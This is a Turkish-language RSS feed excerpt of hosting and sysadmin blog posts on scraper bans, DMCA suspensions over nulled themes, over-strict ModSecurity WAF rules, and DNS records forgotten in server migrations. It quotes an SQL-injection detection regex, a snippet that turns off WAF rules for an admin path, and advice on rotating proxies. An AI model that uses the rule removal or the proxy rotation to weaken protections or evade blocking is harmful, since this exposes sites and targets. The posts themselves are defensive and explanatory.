<li><strong>Dönen Proxy Ağları (Residential Rotating Proxies):</strong> Eğer meşru bir scraping yapılıyorsa, bu işlem asla ana sunucu IP'si üzerinden yapılmaz. BrightData, Smartproxy gibi servislerle her istekte IP değiştiren özel proxy havuzları kullanılır.</li>
<li><strong>Headless Tarayıcılar ve Gecikme:</strong> İstekler arasına rastgele insani bekleme süreleri (<code>sleep(random(2, 5))</code>) konur; hedef sunucunun CPU'su boğulmaz.</li>
<li><strong>Dedicated Worker Sunucuları:</strong> Bu tür ağır veri işleme operasyonları paylaşımlı sunucularda değil; sadece bu işe ayrılmış, şirketinizin ana web sitesinden tamamen bağımsız izole VDS sunucularında koşturulur.</li>
</ol>
<p>Kendi evinin elektriğini kaçak bağlayıp mahalleyi yangına veren biri nasıl suçluysa, paylaşımlı sunucudan kontrolsüz scraper çalıştırıp tüm IP bloğunu yakan kullanıcı da öyle bir bilişim sabotajcısıdır. Başkasının bahçesine zorla girmeye çalışan, kapıdaki bekçi köpeklerinin gazabına uğradığında faturayı kendi ev sahibine kesemez.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Scraping</category>
            <category>Bot</category>
            <category>WAF</category>
            <category>IP Blacklist</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/musterinin-e-esya--gorsel-arama-botlari-scraper-yuzunden-kilitlenen-sunucu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Telif Hakkı (DMCA) / Nulled Tema Uyarısı" ve Gece Yarısı Kapanan Müşteri Siteleri]]></title>
            <link>http://localhost:3000/blog/post/telif-hakki-dmca--nulled-tema-uyarisi-ve-gece-yarisi-kapanan-musteri-siteleri</link>
            <guid>telif-hakki-dmca--nulled-tema-uyarisi-ve-gece-yarisi-kapanan-musteri-siteleri</guid>
            <pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[59 dolarlık WordPress temasını korsan (nulled) indirip kullanan müşterinin, uluslararası telif koruma kuruluşlarından gelen DMCA ihtarnamelerini görmezden gelmesi ve gece yarısı askıya alınan sitesinin ardından çıkardığı "Sansürlendim" tantanası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/telif-hakki-dmca--nulled-tema-uyarisi-ve-gece-yarisi-kapanan-musteri-siteleri/thumbnail" alt=""> Sağlık sektöründe eczanelerin ve ecza depolarının uymak zorunda olduğu çok katı bir "İlaç Takip Sistemi" (İTS) ve patent mevzuatı vardır. Düşünün ki bir mahalle eczacısı, orijinali 1.000 TL olan bir antibiyotiği veya onkoloji ilacını kaçak yollarla, kaynağı belirsiz merdiven altı sahtecilerden 50 TL'ye alıp rafına koyuyor. İl Sağlık Müdürlüğü ve savcılık müfettişleri durumu tespit ediyor. Eczacıya resmi tebligat gönderiliyor: <em>"Bu sahte ve patent hakkı ihlal edilen ilaçları 24 saat içinde raflarınızdan kaldırın ve imha tutanağını iletin."</em></p>
<p>Eczacı bu uyarıyı umursamıyor, tebligatı çekmeceye atıp <em>"Aman canım devlet benim küçük dükkânımla mı uğraşacak"</em> diyor.</p>
<p>24 saatin sonunda gece yarısı polis ve zabıta ekipleri gelir; halk sağlığını ve patent hukukunu korumak amacıyla eczanenin kapısına kırmızı balmumuyla resmi mühür vurur!</p>
<p>Sabah eczacı dükkânın önüne geldiğinde etrafı ayağa kaldırır: <em>"Zulüm var! Hastalarım tansiyon ilacı bekliyor, esnafın ekmeğiyle oynuyorlar, beni sansürlediler!"</em> Oysa ortada bir sansür yoktur; bile isteye işlenmiş bir suçun, göz göre göre gelen yasal yaptırımı vardır.</p>
<p>Web hosting ve internet altyapısı ekosisteminde de her hafta destek ekiplerini ve hukuk departmanlarını meşgul eden en dramatik feryat tam olarak bu kaçak eczane tablosudur: <strong>DMCA (Digital Millennium Copyright Act) telif ihlali uyarısı sonrası kapatılan korsan siteler.</strong></p>
<h3>59 Dolardan Kaçıp Küresel Hukuk Radarına Girmek</h3>
<p>Olay, bir diş kliniği, mimarlık ofisi veya yerel bir inşaat firmasının web sitesi yaptırma kararıyla başlar. İşi alan tasarımcı veya site sahibi, ThemeForest'ta 59 dolara satılan popüler bir WordPress temasını çok beğenir. Fakat o 59 doları (yaklaşık 2.000 TL) ödemek istemez.</p>
<p>Google'a girer, şüpheli bir warez forumundan temanın "kırılmış / lisanssız" (nulled) versiyonunu indirir ve siteye kurar. Sitenin footer kısmındaki telif yazılarını siler, kendi adını yazar. Kullanıcı zanneder ki internetin uçsuz bucaksız okyanusunda hiç kimse onun bu küçük hırsızlığını fark etmeyecektir.</p>
<p>Fakat yanıldığı devasa bir gerçek vardır: <strong>Otomatik Telif Tarama Botları.</strong></p>
<p>Envato, Adobe, Getty Images veya bağımsız yazılım üreticileri, internetteki tüm web sitelerinin CSS dosyalarını, görsel parmak izlerini ve kaynak kodlarını yapay zeka tabanlı botlarla (Crawler) 7/24 taramaktadır. Bot, o temanın benzersiz CSS sınıfını (<code>.theme-unique-identifier-v4</code>) veya şifrelenmiş lisans imzasını tespit eder.</p>
<p>Hemen veritabanından bakar: <code>sirketadi.com.tr</code> alan adı için geçerli bir lisans satın alınmış mıdır? <strong>HAYIR!</strong></p>
<p>Telif koruma şirketi dakikalar içinde resmi hukuki mekanizmayı işletir.</p>
<h3>Veri Merkezine Düşen Resmi İhtarname</h3>
<p>İhtarname müşteriye gitmez; çünkü müşterinin kim olduğu bilinmemektedir. İhtarname doğrudan o sunucunun bağlı olduğu veri merkezinin ve hosting firmasının hukuk departmanına (<code>abuse@hostingfirmasi.com</code>) resmi diplomatik dille ulaşır:</p>
<blockquote>
<p><strong>SUBJECT: DMCA / Copyright Infringement Notice - Case #94821</strong><br>
<em>"Sayın Yetkili, sunucunuzda (IP: 185.120.xx.xx) barınan sirketadi.com.tr alan adlı web sitesinde müvekkilimize ait telif hakkıyla korunan yazılım/tasarım izinsiz olarak kullanılmaktadır. İlgili içeriğin <strong>24 saat içinde</strong> yayından kaldırılmasını, aksi takdirde 5651 sayılı kanun ve uluslararası telif mevzuatı gereği sunucu sağlayıcısı olarak tüzel kişiliğinize karşı yasal işlem başlatılacağını ihtaren bildiririz."</em></p>
</blockquote>
<p>Hosting firmasının sorumluluğu kanunla belirlenmiştir: "Yer Sağlayıcı" (Hosting Provider), kendisine bildirilen açık bir telif ihlalini müşteriye iletmek ve makul sürede kaldırılmazsa içeriği durdurmakla yasal olarak yükümlüdür. Aksi halde davada doğrudan sanık sandalyesine oturur.</p>
<p>Hosting firması derhal müşteriye yüksek öncelikli acil bir destek bileti ve SMS gönderir:<br>
<em>"Sayın müşterimiz, sitenizdeki korsan tema/görsel nedeniyle telif hakkı ihlali bildirimi alınmıştır. Lütfen 24 saat içinde lisans belgenizi iletiniz veya korsan içeriği kaldırınız; aksi halde yasa gereği hesabınız askıya alınacaktır."</em></p>
<h3>Görmezden Gelen Esnaf ve Gece Gelen Süspansiyon</h3>
<p>Müşteri SMS'i görür. Tepkisi şudur: <em>"Hosting firması bana akıl öğretiyor, ne telifiymiş, parayla korkutacaklar beni"</em> der ve bildirim biletini kapatır.</p>
<p>24 saatlik yasal süre dolar.</p>
<p>Sistem otomasyonu gece saat 00:01'de emri uygular:</p>
<pre><code class="language-bash">/scripts/suspendacct firma "DMCA Copyright Violation - Ticket #94821"
</code></pre>
<p>Sabah olur. Sitenin yerine gri bir sayfa gelmiştir:</p>
<blockquote>
<p><strong>"This Account Has Been Suspended. (Bu Hesap Askıya Alınmıştır.)"</strong></p>
</blockquote>
<p>Müşterinin feryadı anında başlar:</p>
<blockquote>
<p><em>"Siz benim dükkânımı hangi hakla kapatırsınız? Burası muz cumhuriyeti mi? Mahkeme kararı olmadan sitemi kapatamazsınız! Ben ticaret yapıyorum, beni sansürlediniz! Hepinizi savcılığa vereceğim, Tüketici Hakem Heyeti'ne gideceğim!"</em></p>
</blockquote>
<h3>Hukuk Karşısında Cehaletin Çaresizliği</h3>
<p>Destek ekibi müşteriye uluslararası hukuk bürosundan gelen mühürlü DMCA evrakını ve kendisine 24 saat önce atılan SMS'i gösterir.</p>
<p>Müşterinin o kabadayı tonu bir anda erir: <em>"E ama ben o temayı internetten bedava buldum... Bilmiyordum ki paralı olduğunu... Tasarımcı çocuk yükledi..."</em></p>
<p>Hukukta çok temel bir ilke vardır: <strong>"Kanunu bilmemek mazeret sayılmaz (Ignorantia juris non excusat)."</strong></p>
<p>İnternetten bulduğunuz her dosya kamu malı değildir. 59 dolarlık bir lisans bedelinden kaçmak için korsan yazılıma sarılmak, dükkânınızın vitrinine çalıntı mal koymaktan farksızdır. Bir hosting firması hiçbir müşterinin 50 liralık paketi için kendini uluslararası mahkemelerde milyonluk tazminat davalarının hedefi yapmaz ve yapamaz.</p>
<h3>Dijital Mülkiyette Temiz Sayfa Protokolü</h3>
<p>Telif hakkı krizleriyle sitenizi gece yarısı karanlığa gömmemek için izlenmesi gereken ilkeler basittir:</p>
<ol>
<li><strong>Lisanslı Yazılım Kültürü:</strong> Kullandığınız temaların, eklentilerin ve yazı tiplerinin (fontların) resmi lisanslarını satın alın ve faturalarını şirket arşivinde saklayın.</li>
<li><strong>Stok Görsel Güvenliği:</strong> Google Görsellerden rastgele fotoğraf indirip sitenizin manşetine koymayın! Getty Images veya yerli stok fotoğraf ajanslarının otomatik botları, o tek bir fotoğraf için 3 yıl sonra kapınıza 2.000 dolarlık telif faturası dayatır. Ücretsiz ticari kullanım sunan platformları (Unsplash, Pexels) tercih edin veya lisans satın alın.</li>
<li><strong>Abuse / Uyarı E-postalarını Ciddiye Alın:</strong> Hosting firmanızdan gelen "Telif / Güvenlik Uyarısı" başlıklı bildirimleri asla spam sanıp kenara atmayın. 24 saatlik süre dolmadan içeriği yayından kaldırarak krizin büyümesini engelleyin.</li>
<li><strong>Taşeron Sözleşmeleri:</strong> Web sitenizi dışarıdan bir ajansa veya serbest çalışana yaptırıyorsanız, sözleşmeye <em>"Kullanılan tüm tema, eklenti ve görsellerin lisansları müşteriye teslim edilecektir; telif ihlallerinden ajans sorumludur"</em> maddesini mutlaka ekletin.</li>
</ol>
<p>Kaçak ilaçla yakalanan eczacının "Beni sansürlediler" diye bağırması ne kadar gülünçse, korsan temayla yakalanıp kapatılan müşterinin mağduru oynaması da o kadar acınasıdır. Ticarette tasarruf emekle yapılır, hırsızlıkla değil. Lisansını ödemediğiniz her dijital ürün, bir gece yarısı sitenizin kapısına asılan o soğuk mühür olarak geri dönmeye mahkûmdur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DMCA</category>
            <category>Telif Hakkı</category>
            <category>Nulled</category>
            <category>Hosting</category>
            <category>Hukuk</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/telif-hakki-dmca--nulled-tema-uyarisi-ve-gece-yarisi-kapanan-musteri-siteleri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Güvenlik Duvarı (WAF) Aşırı Hassasiyeti": Meşru Müşteriyi 'Saldırgan' Sanıp Banlayan Sunucu]]></title>
            <link>http://localhost:3000/blog/post/guvenlik-duvari-waf-asiri-hassasiyeti-mesru-musteriyi-saldirgan-sanip-banlayan-sunucu</link>
            <guid>guvenlik-duvari-waf-asiri-hassasiyeti-mesru-musteriyi-saldirgan-sanip-banlayan-sunucu</guid>
            <pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[ModSecurity veya WAF kurallarını aşırı katı seviyeye ayarlayan sistem yöneticisinin, e-ticaret paneline ürün açıklaması giren şirket sahibini "SQL Injection saldırganı" sanarak 403 Forbidden ile kapı dışarı etmesi ve otoimmün sunucu krizleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/guvenlik-duvari-waf-asiri-hassasiyeti-mesru-musteriyi-saldirgan-sanip-banlayan-sunucu/thumbnail" alt=""> Romatoloji ve klinik immünoloji servislerinde hekimlerin en çok uğraştığı gizemli tablolardan biri "Otoimmün Hastalıklar"dır (örneğin Sistemik Lupus Eritematozus veya Haşimato Tiroiditi). Normal şartlarda bağışıklık sistemimiz (lökositler, antikorlar) vücudu dışarıdan gelen ölümcül virüslere, parazitlere ve bakterilere karşı koruyan kusursuz bir kalkan ordusudur.</p>
<p>Fakat bazen bu ordu o kadar paranoyak ve aşırı hassas hale gelir ki, düşman ile dost arasındaki farkı ayırt etme yeteneğini kaybeder. Kendi sağlıklı tiroit bezini veya eklem kıkırdağını yabancı bir bakteri zannederek ona saldırır; kendi dokularını iltihapla eritip organı tahrip eder. Vücut kendi kendini yemeye başlamıştır.</p>
<p>Web uygulama güvenliğinde de sistem yöneticilerinin "kusursuz güvenlik" hırsıyla yaptığı en yıkıcı mimari hata tam olarak bu otoimmün deliliktir: <strong>Web Uygulama Güvenlik Duvarı'nın (WAF / ModSecurity) aşırı hassasiyeti (False Positive) yüzünden meşru şirket sahibini siber korsan ilan edip kapı dışarı etmesi.</strong></p>
<h3>Pazartesi 11:30: "Siteme Giremiyorum, 403 Hatası Veriyor!"</h3>
<p>Bir mobilya veya tekstil firmasının e-ticaret yöneticisi yönetim paneline giriş yapar. Yeni gelen İtalyan kumaş koleksiyonunu sisteme eklemektedir. Ürünün açıklama kısmına zengin metin editöründen (TinyMCE / CKEditor) şu masum cümleyi yazar:</p>
<blockquote>
<p><em>"Sezonun en özel seçimi (SELECT): %100 saf pamuktan üretilmiş, salonunuza değer katacak zarif koltuk takımı. Detaylar için tıklayınız."</em></p>
</blockquote>
<p>Yönetici alttaki mavi <strong>"Ürünü Kaydet"</strong> butonuna tıklar.</p>
<p>Ve o saniyede tarayıcı donar. Sayfa yenilenir ve ekrana buz gibi bir hata çarpar:</p>
<blockquote>
<p><strong>403 Forbidden</strong><br>
<em>Access denied. You don't have permission to access this resource on this server.</em></p>
</blockquote>
<p>Yönetici şaşırır. Geri tuşuna basar, tekrar dener; yine 403. Sayfayı yeniler; bu kez sitenin ana sayfasına bile giremez! Telefonunun Wi-Fi bağlantısından siteye girmeyi dener; site açılmaz. Çünkü sunucu güvenlik duvarı sadece o isteği engellemekle kalmamış, şirketin genel merkezinin tüm sabit IP adresini de "tehlikeli saldırgan" olarak işaretleyip bloklamıştır!</p>
<p>Şirket yöneticisi telefonla hosting firmasını arar:</p>
<blockquote>
<p><em>"Sizin sunucunuz bozuk! Az önce ürün giriyordum, beni siteden attı! Şimdi ne site açılıyor ne panel! Şirketteki 30 kişinin interneti mi kesildi ne oldu? Siber saldırı mı var sunucuda?"</em></p>
</blockquote>
<h3>Hata Kayıtlarındaki Paranoya: ModSecurity ve SQL Injection İllüzyonu</h3>
<p>Sistem mühendisi sunucunun ModSecurity denetim loglarını (<code>/var/log/nginx/modsec_audit.log</code> veya Apache <code>error_log</code>) açar. Ve ekranda o klasik otoimmün saldırı raporunu görür:</p>
<pre><code class="language-text">[client 195.175.xx.xx] ModSecurity: Access denied with code 403 (phase 2). 
Pattern match "(?i:(?:select.+from|union.+select))" at ARGS:product_description. 
[file "/etc/nginx/modsec/coreruleset/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] 
[id "942100"] [msg "SQL Injection Attack Detected"] [severity "CRITICAL"]
</code></pre>
<p>İşte sistemin kendi dokusunu yemesi tam olarak bu satırda yatar!</p>
<p>Sunucuya kurulan WAF (ModSecurity OWASP Core Rule Set - CRS), yöneticinin paranoyakça ayarları yüzünden aşırı katı bir kural seviyesine (Paranoia Level 3 veya 4) çekilmiştir.</p>
<p>Müşteri ürün açıklamasına İtalyan kumaşının <em>"özel seçimi"</em> yazmış ve araya parantez içinde İngilizce <em>"SELECT"</em> kelimesini koymuştur. Altına da bir HTML linki (<code>&#x3C;a href></code>) eklemiştir.</p>
<p>WAF'ın kaba regex (düzenli ifade) motoru, bu cümlenin içindeki <code>SELECT</code> ve <code>FROM</code> kelimelerini yan yana görünce paniklemiş; <em>"Aman Tanrım! Biri veritabanını çalmak için SQL Injection yapıyor!"</em> diyerek kırmızı alarmı çalmıştır. Meşru bir kumaş açıklaması, sistemin gözünde tehlikeli bir siber saldırıya dönüşmüş ve dükkânın gerçek sahibi kendi dükkânından tekmeyle kovulmuştur.</p>
<h3>Yanlış Pozitif (False Positive) Zehirlenmesi</h3>
<p>Siber güvenlikte en zor sanat, meşru ziyaretçi ile gerçek saldırganı birbirinden ayırt edebilmektir. Bir güvenlik duvarının kural setini en katı seviyeye getirmek güvenlik değil, tembelliktir.</p>
<p>Eğer bir kalenin surlarını aşırı güvenli yapacağım diye kapıdaki nöbetçilere <em>"İçeriye kumaş, mektup veya demir getiren herkesi anında oklayın"</em> emri verirseniz; kale saldırı almaz ama içerideki halk açlıktan kırılır. Ticaret durur, şehir ölür.</p>
<p>Aşırı hassas bir WAF'ın açtığı diğer yaralar şunlardır:</p>
<ol>
<li><strong>Müşteri Alışverişinin Kesilmesi:</strong> Müşteri sipariş formundaki adres kısmına <em>"1. Sokak No: 4/A (Daire: 2; Kat: 3)"</em> yazdığında, aradaki noktalı virgül (<code>;</code>) veya tek tırnak (<code>'</code>) yüzünden siparişi tamamlayamayıp sepeti terk eder.</li>
<li><strong>AJAX ve API Çağrılarının Engellenmesi:</strong> Modern web uygulamalarının arka planda JSON formatında gönderdiği karmaşık veri paketleri WAF tarafından "anormal yük" sayılarak sessizce düşürülür.</li>
<li><strong>Destek Masası Kilitlenmesi:</strong> Gün içinde düzinelerce şirket sahibi "403 Forbidden" yiyerek destek masasına bilet yağdırır; mühendisler gerçek güvenlik tehditleriyle ilgilenmek yerine yanlış kural istisnaları yazmakla vakit kaybeder.</li>
</ol>
<h3>Akılcı Savunma: WAF Nasıl Ehlileştirilir?</h3>
<p>Güvenlik duvarını bir otoimmün katile dönüştürmeden, sistemi siber tehditlere karşı çelik bir zırhla korumanın mühendislik protokolü şudur:</p>
<ol>
<li><strong>Öğrenme Modu (Detection Only):</strong> Yeni bir WAF veya kural seti devreye alındığında, ilk iki hafta kurallar "Engelleme (Block)" modunda değil, sadece "Kayıt (DetectionOnly)" modunda çalıştırılmalıdır. Sistem logları incelenerek hangi meşru kullanıcı hareketlerinin yanlışlıkla tetiklendiği (False Positive) tespit edilmelidir.</li>
<li><strong>Seçici Kural İstisnaları (Rule Exclusion):</strong> Kural setini toptan kapatmak yerine, sadece yönetim paneli (<code>/wp-admin/</code> veya <code>/admin/</code>) için bilinen spesifik kurallar (Örn: <code>id:942100</code>) pasife alınmalıdır:
<pre><code class="language-apache">&#x3C;LocationMatch "/wp-admin/">
    SecRuleRemoveById 942100 941100
&#x3C;/LocationMatch>
</code></pre>
</li>
<li><strong>Paranoia Level Dengesi:</strong> OWASP kurallarında varsayılan seviye olan <strong>Paranoia Level 1</strong>, kurumsal web sitelerinin %95'i için yeterli korumayı sıfıra yakın yanlış alarmla sunar. Seviyeyi gerekçesiz şekilde 3 veya 4'e çıkarmak sistemi kullanılmaz hale getirir.</li>
<li><strong>Davranışsal Analiz ve Modern WAF'lar:</strong> Kaba regex eşleştirmeleri yerine Cloudflare WAF, Imunify360 veya AWS WAF gibi makine öğrenimi tabanlı, kullanıcının niyetini ve oturum geçmişini analiz eden akıllı motorlar tercih edilmelidir.</li>
</ol>
<p>Kendi dokusunu düşman sanıp yok eden bir bağışıklık sistemi sağlık değil, hastalıktır. Meşru müşterisini korsan sanıp banlayan bir güvenlik duvarı da koruma değil, iş bilmezliktir. Güvenlik, kapıları dünyaya tamamen kilitlemek değil; içeriye dostu güvenle alırken düşmanı kapıda sessizce ayıklama sanatıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>WAF</category>
            <category>ModSecurity</category>
            <category>False Positive</category>
            <category>Siber Güvenlik</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/guvenlik-duvari-waf-asiri-hassasiyeti-mesru-musteriyi-saldirgan-sanip-banlayan-sunucu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunucu Taşırken Unutulan Statik DNS Kayıtları (A / CNAME) ve Hayalet Trafik"]]></title>
            <link>http://localhost:3000/blog/post/sunucu-tasirken-unutulan-statik-dns-kayitlari-a--cname-ve-hayalet-trafik</link>
            <guid>sunucu-tasirken-unutulan-statik-dns-kayitlari-a--cname-ve-hayalet-trafik</guid>
            <pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Web sitesini yeni sunucuya taşıyıp ana DNS kaydını güncelleyen ekibin, arka plandaki POS webhook, mobil API ve e-fatura alt alan adlarını eski IP'de unutması ve eski sunucu kapatılınca başlayan hayalet trafik kaosu.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-tasirken-unutulan-statik-dns-kayitlari-a--cname-ve-hayalet-trafik/thumbnail" alt=""> Damar cerrahisinde ve uzuv replantasyonlarında cerrahların kâbusu "Gözden Kaçan Yan Dal Kanatması"dır (kollateral damar yaralanması). Kopan bir bacağı yerine dikerken cerrah ana femoral arteri ve ana femoral veni büyük bir başarıyla birbirine anastomoz eder. Bacağın nabzı alınır, ayak parmakları pembeleşir. Ameliyathane ekibi derin bir nefes alarak operasyonu başarıyla tamamladığını düşünür.</p>
<p>Fakat derinde, kas planlarının arkasında kalan küçük ama basınçlı bir yan dal arteri (derin sirkumfleks dalı) bağlanmadan unutulmuştur. Hasta servise çıkarılır. İki saat sonra hastanın tansiyonu düşmeye başlar; bacakta devasa bir hematom birikir, doku kompartman sendromuna girer ve hasta iç kanamadan şoka girer. Ana hat bağlanmıştır; fakat kılcal gibi görünen o tek yan arter, tüm vücudun kanını dışarı sızdırmıştır.</p>
<p>Bilişim altyapılarında ve kurumsal sunucu göçlerinde (server migration) sistem mühendislerinin başına gelen en sinsi felaket tam olarak bu unutulmuş yan dal kanamasıdır: <strong>Web sitesi taşınırken unutulan statik DNS kayıtları, alt alan adları (subdomains) ve eski sunucuda sessizce dönen "hayalet trafik" (Ghost Traffic).</strong></p>
<h3>Başarılı Göçün İllüzyonu: "Site Açılıyor, Sorun Yok!"</h3>
<p>Hafta sonu bir e-ticaret markasının veya kurumsal rezervasyon portalının altyapısı yeni nesil yüksek performanslı bulut sunuculara taşınır. Veritabanları aktarılır, dosyalar <code>rsync</code> ile kopyalanır, PHP sürümleri ayarlanır.</p>
<p>Sistem yöneticisi Cloudflare veya DNS yönetim paneline girer:</p>
<ul>
<li><code>A sirketadi.com -> 198.51.100.50</code> (Yeni IP)</li>
<li><code>CNAME www.sirketadi.com -> sirketadi.com</code></li>
</ul>
<p>Tarayıcıdan siteye girilir; ana sayfa ışık hızında açılmaktadır. Ürünler listelenir, sepete eklenir. Test siparişi verilir; çalışmaktadır. Sistem ekibi gururla e-posta atar: <em>"Sunucu taşıma işlemi başarıyla tamamlanmıştır. Eski sunucumuz salı günü saat 12:00'de kalıcı olarak kapatılacaktır."</em></p>
<p>Ve salı günü saat 12:01'de eski sunucunun fişi çekilir (power off).</p>
<p>İşte o saniyede şirketin muhasebesi, ödeme sistemleri ve mobil uygulaması eşzamanlı bir kalp kriziyle yere serilir!</p>
<h3>Eski Sunucunun Mezarlığındaki Hayaletler</h3>
<p>Saat 12:05'te şirketin çağrı merkezi santrali kilitlenir:</p>
<ol>
<li><strong>Mobil Uygulama Çöktü:</strong> iOS ve Android kullanıcıları uygulamayı açtığında hiçbir veri yüklenmemekte, ekran beyaz kalmaktadır.</li>
<li><strong>Sanal POS Bildirimleri Havada Kaldı:</strong> Bankaların 3D Secure ekranından dönen müşterilerin kartından para çekilmekte, ancak sipariş veritabanına düşmemektedir!</li>
<li><strong>E-Fatura Entegratörü Kilitlendi:</strong> Depodan çıkan kargolara fatura kesilememektedir.</li>
</ol>
<p>Şirket genel müdürü panikle bağırır: <em>"Az önce site açılıyordu, şimdi kimse alışveriş yapamıyor! Müşterilerin parası çekildi ama sipariş yok! Bize kim saldırdı?"</em></p>
<p>Sistem yöneticisi DNS yönetim panelini açar ve gerçeğin o soğuk yüzüyle karşılaşır. Taşıma sırasında sadece ana alan adı (<code>sirketadi.com</code>) ve <code>www</code> güncellenmiştir. Oysa şirketin dijital ekosisteminde yıllar içinde açılmış onlarca alt alan adı vardır:</p>
<ul>
<li><code>api.sirketadi.com</code> (Mobil uygulamanın bağlandığı API sunucusu) -> <strong>Eski Sunucu IP'si!</strong></li>
<li><code>pos.sirketadi.com</code> (Bankaların 3D Secure dönüş yaptığı Webhook URL'si) -> <strong>Eski Sunucu IP'si!</strong></li>
<li><code>efatura.sirketadi.com</code> (Muhasebe ERP köprüsü) -> <strong>Eski Sunucu IP'si!</strong></li>
<li><code>cdn.sirketadi.com</code> (Ürün detay görselleri) -> <strong>Eski Sunucu IP'si!</strong></li>
</ul>
<p>Siz eski sunucuyu kapattığınız anda, şirketin mobil kullanıcılarının attığı tüm istekler, bankaların gönderdiği tüm ödeme onay sinyalleri kapalı bir sunucunun boş duvarına toslamış ve uzay boşluğunda buharlaşmıştır!</p>
<h3>Bölünmüş Beyin Sendromu (Split-Brain Tragedy)</h3>
<p>Eski sunucunun hemen kapatılmadığı durumlarda ise felaket çok daha sinsidir: <strong>Bölünmüş Beyin (Split-Brain) Sendromu.</strong></p>
<p>Eski sunucu 3 gün daha açık bırakılmıştır. Web sitesinden alışveriş yapan kullanıcıların siparişleri YENİ sunucunun veritabanına yazılmaktadır. Ancak mobil uygulamadan alışveriş yapan binlerce kullanıcının siparişleri <code>api.sirketadi.com</code> üzerinden ESKİ sunucunun veritabanına yazılmaktadır!</p>
<p>Şirket üç gün boyunca iki farklı paralel evrende yaşamıştır:</p>
<ul>
<li>Depo ekibi yeni sunucunun paneline bakarak sipariş hazırlamaktadır; mobil uygulamadan gelen yüzlerce sipariş eski sunucunun veritabanında unutulduğu için müşterilere hiçbir ürün kargolanmamıştır!</li>
<li>Muhasebe stok sayımı yaptığında veritabanları birbirini tutmamakta, aradaki fark binlerce ürünü bulmaktadır.</li>
</ul>
<p>İki farklı veritabanını üç gün sonra birbiriyle birleştirmek (merge), cerrahın yanlış dikilmiş iki damarı söküp yeniden dikmesinden çok daha kanlı ve yıpratıcı bir veritabanı ameliyatıdır.</p>
<h3>Göç Operasyonlarında Tam Saha Hakimiyet Protokolü</h3>
<p>Bir sunucu göçü sadece iki satır DNS değiştirmek değildir. Altyapının tüm damarlarını eksiksiz nakletmek için şu cerrahi protokol izlenmelidir:</p>
<ol>
<li><strong>Eksiksiz DNS Haritalandırması (Zone Audit):</strong> Göçten önce alan adının tüm DNS bölgesi (<code>Zone File</code>) dışa aktarılmalı ve içinde A, CNAME, TXT, SRV kaydı olan her bir alt alan adı tek tek listelenmelidir:
<pre><code class="language-bash">dig axfr sirketadi.com @ns1.dns.com
</code></pre>
</li>
<li><strong>Uygulama İçi Bağımlılık Taraması:</strong> Kaynak kodların içinde <code>grep -rn "sirketadi.com" /var/www/</code> komutuyla hardcoded olarak kalmış alt alan adları, eski IP adresleri ve webhook URL'leri tespit edilmelidir.</li>
<li><strong>Eski Sunucuda Trafik İzleme (Sniffing):</strong> Yeni sunucuya geçildikten sonra eski sunucu hemen kapatılmamalıdır! Eski sunucu üzerinde <code>tcpdump</code> veya <code>ngrep</code> çalıştırılarak hâlâ oraya gelen yetim istekler (hayalet trafik) canlı olarak izlenmelidir:
<pre><code class="language-bash">tcpdump -i any -n "port 80 or port 443" and not src net &#x3C;ofis_ip>
</code></pre>
Eğer eski sunucuya hâlâ HTTP istekleri akıyorsa, DNS'te bir şeyler unutulmuş demektir!</li>
<li><strong>Geçici HTTP 301 / Ters Vekil Köprüsü:</strong> Eski sunucunun Nginx yapılandırmasına geçici bir kural yazılarak, oraya gelen tüm istekler şeffaf bir şekilde yeni sunucuya yönlendirilmelidir (<code>proxy_pass https://yeni-sunucu-ip</code>). Böylece DNS güncellenene kadar hiçbir sipariş ve webhook kaybolmaz.</li>
</ol>
<p>Ana damarı dikip yan dalları açık bırakmak hastayı nasıl iç kanamadan öldürüyorsa, alt alan adlarını eski sunucuda unutup fişi çekmek de şirketin ticaretini öyle komaya sokar. Mühendislik bütünü görmekle başlar; en küçük bir API kaydını bile gözden kaçırmayan titizlik, kriz ile zafer arasındaki o ince çizgidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DNS</category>
            <category>Sunucu Göçü</category>
            <category>API</category>
            <category>Sanal POS</category>
            <category>Sistem Mimarisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-tasirken-unutulan-statik-dns-kayitlari-a--cname-ve-hayalet-trafik/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["E-Posta Yönlendirme (Auto-Forwarder) Tuzağı" ve Spamhaus Sürprizi]]></title>
            <link>http://localhost:3000/blog/post/e-posta-yonlendirme-auto-forwarder-tuzagi-ve-spamhaus-surprizi</link>
            <guid>e-posta-yonlendirme-auto-forwarder-tuzagi-ve-spamhaus-surprizi</guid>
            <pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[cPanel üzerinden kurumsal e-postasını şahsi Gmail hesabına otomatik yönlendiren müşterinin, şirkete gelen yüzlerce spam mailini doğrudan Google'a pompalayarak sunucu IP'sini küresel kara listelere (Spamhaus) sokması ve tüm sunucunun e-posta felci.]]></description>
